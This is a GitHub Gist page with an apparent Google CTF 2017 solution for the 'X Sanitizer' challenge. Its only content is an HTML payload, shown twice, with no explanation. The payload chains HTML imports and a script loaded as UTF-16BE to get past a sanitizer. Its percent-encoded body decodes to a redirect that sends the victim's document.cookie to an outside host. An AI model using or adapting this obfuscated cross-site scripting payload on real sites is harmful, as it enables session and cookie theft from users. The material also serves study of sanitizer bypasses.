Skip to content

Instantly share code, notes, and snippets.

@buglloc

buglloc/input.html

Created June 19, 2017 09:11
Show Gist options
  • Save buglloc/63ac74916d74735c37e3331e4482b5f8 to your computer and use it in GitHub Desktop.
Save buglloc/63ac74916d74735c37e3331e4482b5f8 to your computer and use it in GitHub Desktop.
Download ZIP
The X Sanitizer (#GoogleCTF 2017)
Raw
input.html
<link rel="import" href="/sandbox?html=<script charset=UTF%2d16BE src=/sandbox%3fhtml=%2500%253D%2500%2528%2500%2577%2500%2569%2500%256E%2500%2564%2500%256F%2500%2577%2500%252E%2500%256C%2500%256F%2500%2563%2500%2561%2500%2574%2500%2569%2500%256F%2500%256E%2500%252E%2500%2568%2500%2572%2500%2565%2500%2566%2500%253D%2500%2522%2500%2568%2500%2574%2500%2574%2500%2570%2500%2573%2500%253A%2500%252F%2500%252F%2500%2577%2500%2577%2500%2577%2500%252E%2500%2562%2500%2575%2500%2567%2500%256C%2500%256C%2500%256F%2500%2563%2500%252E%2500%2563%2500%256F%2500%256D%2500%252F%2500%2561%2500%253F%2500%2522%2500%2520%2500%252B%2500%2520%2500%2564%2500%256F%2500%2563%2500%2575%2500%256D%2500%2565%2500%256E%2500%2574%2500%252E%2500%2563%2500%256F%2500%256F%2500%256B%2500%2569%2500%2565%2500%2529></script>'>">
<link rel="import" href="/sandbox?html=<script charset=UTF%2d16BE src=/sandbox%3fhtml=%2500%253D%2500%2528%2500%2577%2500%2569%2500%256E%2500%2564%2500%256F%2500%2577%2500%252E%2500%256C%2500%256F%2500%2563%2500%2561%2500%2574%2500%2569%2500%256F%2500%256E%2500%252E%2500%2568%2500%2572%2500%2565%2500%2566%2500%253D%2500%2522%2500%2568%2500%2574%2500%2574%2500%2570%2500%2573%2500%253A%2500%252F%2500%252F%2500%2577%2500%2577%2500%2577%2500%252E%2500%2562%2500%2575%2500%2567%2500%256C%2500%256C%2500%256F%2500%2563%2500%252E%2500%2563%2500%256F%2500%256D%2500%252F%2500%2561%2500%253F%2500%2522%2500%2520%2500%252B%2500%2520%2500%2564%2500%256F%2500%2563%2500%2575%2500%256D%2500%2565%2500%256E%2500%2574%2500%252E%2500%2563%2500%256F%2500%256F%2500%256B%2500%2569%2500%2565%2500%2529></script>'>">
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment